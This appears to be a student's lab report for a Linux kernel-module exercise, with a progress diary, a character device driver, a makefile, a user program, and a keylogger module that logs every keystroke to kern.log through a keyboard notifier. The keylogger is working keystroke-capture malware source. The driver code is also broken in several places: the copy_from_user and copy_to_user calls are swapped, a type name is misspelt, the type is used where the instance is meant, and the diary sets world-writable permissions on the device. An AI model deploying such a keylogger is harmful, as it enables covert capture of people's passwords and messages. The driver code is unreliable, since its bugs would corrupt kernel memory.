Introduce Running Environment

OS: Windows 10 with VirtualBox VM.

CPU: 2 CPUs, Execution Cap 100%

Motherboard: 2048MB

Storage: 40GB Dynamic

Progress Diary

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Stage | Step | Task Description | Comments | Time |
| 1 | a | Create virtual machine | Took a few moments to decide how much CPU, and storage to dedicate to the virtual machine. There was an option asking to create a dynamic or fixed size of the drive to be used in the virtual machine, I chose dynamic with a base of 40GB space. | 28/9  28/9  5 mins |
| 1 | a | Install Ubuntu | - | 28/9  28/9  10 mins |
| 1 | a | Write character device driver with functions to open, close, read and write a device | Researched on Google a few articles and videos on how to write this program. | 28/10  28/10 |
| 1 | a | Make node in /dev/ | Run mknod /dev/s3560494Device c 245 0  Above instruction is to create a character device with major number 245 and minor number 0. | 29/10  29/10 |
| 1 | a | Load developed module | Run sudo insmod myDev.ko in terminal | 29/10  29/10 |
| 1 | a | Give permission to device driver | Run sudo chmod 777 /dev/s3560494Device  To ensure that you can run the device | 29/10  29/10 |
| 1 | a | Develop user application to write and read any message | Full code shown below | 29/10  29/10  Demo date: 3/10 |
| 1 | B | Test result | C:\Users\Gerald\AppData\Local\Microsoft\Windows\INetCache\Content.Word\output.png | 29/10  29/10  Demo date: 3/10 |
| 2 | A | Research on what kind of driver | Decided to make a keylogger driver | 30/10  30/10 |
| 2 | A | Finding suitable keymap on google |  | 30/10  30/10 |
| 2 | B | Write device driver | Device driver that will take in inputs from keyboard, and write these inputs to a kern.log file located in /var/log/kern.log  Code is shown below | 31/10  31/10 |
| 2 | B | Insert .ko file | sudo insmod keylogger.ko | 31/10  31/10 |
| 2 | B | Check log file for inputs | Cat /var/log/kern.log | 31/10  31/10 |
| 2 | B | Test result | C:\Users\Gerald\AppData\Local\Microsoft\Windows\INetCache\Content.Word\t2.png | 31/10  31/10 |

Listed here is the complete code for the character device driver

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/fs.h>

#include <linux/cdev.h>

#include <linux/semaphore.h>

#include <asm/uaccess.h>

*// Create a structure for device*

struct virtual\_device{

    char data[100];

    struct sempahore sem;

}myDevice;

*// To later register device we need cdev object and other variables*

struct cdev \*mcdev;

int major\_number;

int ret;

dev\_t dev\_num;

#define DEVICE\_NAME "s3560494Device"

int device\_open(struct inode \*inode, struct file \*filp){

    if(down\_interruptible(&virtual\_device.sem) != 0){

        printk(KERN\_ALERT "could not lock device during open");

        return -1;

    }

    printk(KERN\_INFO "opened device");

    return 0;

}

ssize\_t device\_read(struct file\* filp, char\* bufStoreData, size\_t bufCount, loff\_t\* curOffset){

    printk(KERN\_INFO "reading from device");

    ret = copy\_from\_user(bufStoreData, virtual\_device.data, bufCount);

    return ret;

}

ssize\_t device\_write(struct file\* filp, const char\* bufSourceData, size\_t bufCount, loff\_t\* curOffset){

    printk(KERN\_INFO "writing to device");

    ret = copy\_to\_user(virtual\_device.data, bufSourceData, bufCount);

    return ret;

}

int device\_close(struct inode \*inode, struct file \*filp){

    up(&virtual\_device.sem);

    printk(KERN\_INFO "closed device");

    return 0;

}

struct file\_operations fops = {

    .owner = THIS\_MODULE,

    .open = device\_open,

    .release = device\_close,

    .write = device\_write,

    .read = device\_read

};

static int driver\_entry(void){

    ret = alloc\_chrdev\_region(&dev\_num,0,1,DEVICE\_NAME);

    if(ret < 0){

        printk(KERN\_ALERT "failed to allocate major number");

        return ret;

    }

    major\_number = MAJOR(dev\_num);

    printk(KERN\_INFO "major number is %d", major\_number);

    printk(KERN\_INFO "\tuse \"mknod /dev/%s c %d 0\" for device file", DEVICE\_NAME, major\_number);

*// step 2*

    mcdev = cdev\_alloc();

    mcdev->ops = &fops;

    mcdev->owner = THIS\_MODULE;

    ret = cdev\_add(mcdev, dev\_num, 1);

    if(ret < 0){

        printk(KERN\_ALERT "unable to add cdev to kernel");

        return ret;

    }

    sema\_init(&virtual\_device.sem,1);

    return 0;

}

static void driver\_exit(void){

    cdev\_del(mcdev);

    unregister\_chrdev\_region(dev\_num, 1);

    printk(KERN\_ALERT "unloaded module");

}

*//Inform kernel where to enter and exit*

module\_init(driver\_entry);

module\_exit(driver\_exit);

Here is the complete code for the makefile

obj-m := myDev.o

KERNEL\_DIR = /usr/src/linux-headers-$(shell uname -r)

all:

    $(MAKE) -C $(KERNEL\_DIR) SUBDIRS=$(shell pwd) modules

clean:

    rm -rf \*.o \*.ko \*.mod.\* \*.symvers \*.order \*~

Here is the code for the user application

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <unistd.h>

#define DEVICE "/dev/s3560494Device"

int main() {

    int i, fd;

    char ch, write\_buf[100], read\_buf[100];

    fd = open(DEVICE, O\_RDWR); *//open for reading and writing*

    if(fd == -1){

        printf("file %s either does not exist or has been locked by another process\n",DEVICE);

        exit(-1);

    }

    printf("r = read from device\nw = write to device\nenter command: ");

    scanf("%c", &ch);

    switch(ch){

        case 'w':

            printf("enter data: ");

            scanf(" %[^\n]", write\_buf);

            write(fd, write\_buf, sizeof(write\_buf));

            break;

        case 'r':

            read(fd, read\_buf, sizeof(read\_buf));

            printf("device: %s\n", read\_buf);

            break;

        default:

            printf("command not recognized\n");

            break;

    }

    close(fd);

    return 0;

}

Listed below is the code for the keylogger

Please bear in mind that the keymap was taken from google as it will be too tiresome to write it all out.

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/init.h>

#include <linux/keyboard.h>

#include <linux/semaphore.h>

#define DRIVER\_AUTHOR "Gerald Lim "

#define DRIVER\_DESC "A keylogger device driver"

#define DRIVER\_LICENSE "GPL"

struct semaphore sem;

static const char\* keymap[] = { "\0", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "\_BACKSPACE\_", "\_TAB\_",

"q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", "\_ENTER\_", "\_CTRL\_", "a", "s", "d", "f",

"g", "h", "j", "k", "l", ";", "'", "`", "\_SHIFT\_", "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".",

"/", "\_SHIFT\_", "\0", "\0", " ", "\_CAPSLOCK\_", "\_F1\_", "\_F2\_", "\_F3\_", "\_F4\_", "\_F5\_", "\_F6\_", "\_F7\_",

"\_F8\_", "\_F9\_", "\_F10\_", "\_NUMLOCK\_", "\_SCROLLLOCK\_", "\_HOME\_", "\_UP\_", "\_PGUP\_", "-", "\_LEFT\_", "5",

"\_RTARROW\_", "+", "\_END\_", "\_DOWN\_", "\_PGDN\_", "\_INS\_", "\_DEL\_", "\0", "\0", "\0", "\_F11\_", "\_F12\_",

"\0", "\0", "\0", "\0", "\0", "\0", "\0", "\_ENTER\_", "CTRL\_", "/", "\_PRTSCR\_", "ALT", "\0", "\_HOME\_",

"\_UP\_", "\_PGUP\_", "\_LEFT\_", "\_RIGHT\_", "\_END\_", "\_DOWN\_", "\_PGDN\_", "\_INSERT\_", "\_DEL\_", "\0", "\0",

"\0", "\0", "\0", "\0", "\0", "\_PAUSE\_"};

static const char\* keymapShift[] =

{ "\0", "ESC", "!", "@", "#", "$", "%", "^", "&", "\*", "(", ")", "\_", "+", "\_BACKSPACE\_", "\_TAB\_",

"Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "{", "}", "\_ENTER\_", "\_CTRL\_", "A", "S", "D", "F",

"G", "H", "J", "K", "L", ":", "\"", "~", "\_SHIFT\_", "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">",

"?", "\_SHIFT\_", "\0", "\0", " ", "\_CAPSLOCK\_", "\_F1\_", "\_F2\_", "\_F3\_", "\_F4\_", "\_F5\_", "\_F6\_", "\_F7\_",

"\_F8\_", "\_F9\_", "\_F10\_", "\_NUMLOCK\_", "\_SCROLLLOCK\_", "\_HOME\_", "\_UP\_", "\_PGUP\_", "-", "\_LEFT\_", "5",

"\_RTARROW\_", "+", "\_END\_", "\_DOWN\_", "\_PGDN\_", "\_INS\_", "\_DEL\_", "\0", "\0", "\0", "\_F11\_", "\_F12\_",

"\0", "\0", "\0", "\0", "\0", "\0", "\0", "\_ENTER\_", "CTRL\_", "/", "\_PRTSCR\_", "ALT", "\0", "\_HOME\_",

"\_UP\_", "\_PGUP\_", "\_LEFT\_", "\_RIGHT\_", "\_END\_", "\_DOWN\_", "\_PGDN\_", "\_INSERT\_", "\_DEL\_", "\0", "\0",

"\0", "\0", "\0", "\0", "\0", "\_PAUSE\_"};

static int shiftKey = 0;

static struct notifier\_block keylogger\_nb =

{

.notifier\_call = keylogger\_notify

};

int keylogger\_notify(struct notifier\_block \*nblock, unsigned long code, void \*\_param)

{

struct keyboard\_notifier\_param \*param = \_param;

if (code == KBD\_KEYCODE)

{

if( param->value==42 || param->value==54 )

{

*// acquire lock to modify the global variable shiftKey*

down(&sem);

if(param->down)

{

shiftKey = 1;

}

else

{

shiftKey = 0;

}

up(&sem);

return NOTIFY\_OK;

}

if(param->down)

{

*// acquire lock to read the global variable shiftKey*

down(&sem);

if(shiftKey == 0)

{

printk(KERN\_INFO "%s \n", keymap[param->value]);

}

else

{

printk(KERN\_INFO "%s \n", keymapShift[param->value]);

}

up(&sem);

}

}

return NOTIFY\_OK;

}

static int \_\_init init\_keylogger(void)

{

*// Register this module to maintain notification list with kb driver*

register\_keyboard\_notifier(&keylogger\_nb);

printk(KERN\_INFO "Registering keylogger\n");

sema\_init(&sem, 1);

return 0;

}

static void \_\_exit cleanup\_keylogger(void)

{

unregister\_keyboard\_notifier(&keylogger\_nb);

printk(KERN\_INFO "Unregistered keylogger \n");

}

module\_init(init\_keylogger);

module\_exit(cleanup\_keylogger);

MODULE\_LICENSE(DRIVER\_LICENSE);

MODULE\_AUTHOR(DRIVER\_AUTHOR);

MODULE\_DESCRIPTION(DRIVER\_DESC);